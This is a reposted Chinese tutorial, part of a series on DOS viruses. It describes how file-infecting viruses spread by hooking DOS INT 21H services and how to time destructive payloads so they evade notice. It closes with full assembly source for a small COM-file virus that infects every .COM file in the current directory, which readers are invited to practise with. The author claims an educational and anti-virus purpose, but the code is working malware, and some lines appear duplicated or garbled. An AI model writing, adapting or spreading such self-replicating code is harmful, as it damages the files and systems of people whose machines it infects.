网络通信 频道

Dos病毒原理(5)如何进行病毒的传播

  如何进行病毒的传播?

一个病毒如果不能传播,那就不成为病毒,我们叫做木马,就象上面我们修改成的MORE。COM。怎样传播的这个问题其实就是把手工传播的方法编写成程序,让其自己进行感染。这个模块的编写比较费时间,但是无非是一些文件读写操作,大家自己可以慢慢地调试,慢慢地写。

病毒传播的途径
传播模块编写好了,现在该看哪时候应该传播,怎么样传播才会不被发觉,怎么样传播才能得到最大的传播效率。
现在文件型病毒基本上有如下传播方式:
1, 通过查目录进行传播。
截获INT 21H 功能的11H和12H。
这样DIR的时候你就可以获得控制权了。
2, 通过执行进行传播。
截获INT 21H 4B子功能。
这样每个可执行文件在执行的时候都逃不过你的眼睛。
3, 通过文件查找进行传播。
截获INT 21H 4E,4F子功能。
这样有人使用象TC,TP等编程工具查找文件的时候逃不过你的眼睛。
4, 通过文件关闭的时候进行传播。
即使你现在正在编译,当执行文件生成后关闭的时候也可以感染。
5,自己加载的时候 。。。。。。。
总之,传播方式多种多样,叫人难以防备,至于采取哪种方法,这是你自己的本事了。

病毒的破坏部分
这个问题似乎不应该探讨,但我想还是有必要谈谈。
一个病毒破坏能力大,是不是就算一个好病毒?我想一运行就格式化的病毒永远都流传不了,因为它根本就无法流传。病毒的发作基本都有其条件,传统的通过判断时间来发作。这不一定是一种好办法,我想这种病毒几乎没有任何危害,除非编写的病毒技巧不高,往往还没有到发作的时间,很多被感染的文件就已经被感染坏了而不能执行。现在哪会有一种病毒会出现到感染之前还没有杀毒软件呢?所以有很多种病毒采用不断地破坏的方法,例如当前的时间日期求个和,作为要破坏的目标判断标志。。。。当然这和病毒的 长度有矛盾,算法越复杂,病毒越大,也越容易被发现。
病毒的编程就先介绍到这里了。
下面我给出我自己编写的两个COM病毒的例子(和一般的不同,病毒感染在程序前面)和一个可执行文件(EXE,COM)保护程序(防感染程序),后一个虽然不是病毒,但是却也属于病毒范畴。两个COM类型的病毒中有一个比较大,属于真正的病毒类,通过DIR进行感染,另外一个则只有120行,却也五脏具全,每次执行的时候感染,大家可以借鉴一下。

下面该是大家读懂例子,练兵的时候啦。如果有不懂的地方需要解答,我会尽力,如果大家对我写得这么仓卒而不满意,我可以花点时间整理今后再继续

一个最小的病毒程序

不驻留内存
每次执行的时候感染当前目录的COM文件
Macro:Pmain,Pend,Pushall,Popall见另外一个例子
这只是一个模拟病毒程序
在两个COM类型的病毒例子中我都采用感染在
前面的方法,然而真实的病毒大部分采用
附加在后面的办法
附加在后面有两种处理方式
一种是修改前三个字节直接JMP 到病毒程序
这样OFFSET都发生了变化
例如本来在病毒程序中的100H
可能变成1112H,等等
你的程序需要做如下改动:
把宿主程序的长度作为相对偏移放入BX中
每次访问数据采用这种形式mov ax,mybuf[BX]
当然第一次感染的时候BX为0
或者你可以采用段对齐的办法
修改宿主的前几个字节为
Mov ax,cs
Add ax,(SUZHULen+15)/16 -16
Push ax
Mov ax,100h
Push ax
Retf
这样你可以使得你的病毒程序入口依然保持在100H
但是既然只是演示病毒的编写方法,
我们的目的只是让大家认识病毒为何物,
取消对病毒的畏惧,并且讨论病毒的杀除办法
所以我的病毒例子并不计较太多的方法。
~
Include stdio.h
Include PushPop.asm
Pmain
db 0EBH,00 ;病毒感染标志,JMP 102
Mov ah,9
Mov Dx,Offset MSG
Int 21h ;发作部分,显示信息
Push SaveSize
Pop SaveSize_ ;保存上次保存的部分
Mov ah,1ah
Mov ah,1ah
Push cs
Pop ds
Mov Dx,Offset DTABUF
Int 21H ;设置DTA的指针
Mov ah,4eh
Mov Cx,4fh
Mov Dx,Offset FindName
Int 21h ;开始查找COM文件
NextFind:
JC SearchEnd
Mov Dx,Offset DTABUF+30
Mov ax,3d02h
Int 21h ;DTABUF+30为查找出的文件名存贮位置
JC SearchEnd_
Mov FileHandle,AX
Call Effect ;感染
SearchEnd_:
Push cs
Pop ds
Mov ah,4fh
Int 21h
JMP NEXTFIND
JMP NEXTFIND
SearchEnd:
Mov ah,1ah
Push cs
Pop ds
Mov Dx,80h
Int 21h ;设回DTA的指针
Mov SI,SAVESIZE_
ADD SI,100h
Mov DI,100H ;把保存的宿主代码移动到100H
Push cs
Pop ds
Push cs
Pop es
Mov ax,100h
Push ax
CLD
Mov Cx,Offset EndFile-100H
Rep Movsb
Retn
Effect Proc Near ;病毒感染程序与另外一个例子类似
Pushall ;不再注释
Push cs
Push cs
Pop ds
Mov BX,FileHandle
Mov CX,Offset EndFile-100H
Mov AX,9000H
Mov DS,AX
Mov Dx,0
Mov ah,3fh
Int 21h
Cmp Word Ptr DS:[0],00EBH
JNZ NotEFFECT
Mov ah,3eh
Mov Bx,cs:FileHandle
Int 21h
Popall
Ret
NOTEFFECT:
Push cs
Pop ds
Mov Bx,FileHandle
Mov ax,4202h
Mov Cx,0
Mov Dx,0
Mov Dx,0
Int 21h
Mov SAVESIZE,AX
Mov Bx,FileHandle
Mov ah,40h
Mov Cx,Offset EndFile-100h
Mov Dx,0
Mov Bx,9000H
Mov DS,BX
Mov Bx,cs:FileHandle
Int 21h
Push cs
Pop ds
Mov AX,4200h
Mov Cx,0
Mov Dx,0
Mov BX,FileHandle
Int 21h
Mov ah,40h
Mov CX,Offset EndOfFile-100h
Mov DX,100h
Mov Bx,FileHandle
Int 21h
Int 21h
Mov ah,3eh
Mov Bx,FileHandle
Int 21h
Popall
Ret
Effect Endp
FindName db ''*.COM'',0
FileHandle dw 0
DTABUF db 80h dup (0)
SAVESIZE dw EndOfFile-100h
SaveSize_ dw 0
MSG db ''Hello,are you tire ?Good luck to you!'',0dh,0ah,''$''

EndOffile:
ENDfile:
Mov ax,4c00h
Int 21h
Pend

 

转载地址:http://www.netsp.com.cn/Article/netsafe/virus/200607/20060721201109.html

0
相关文章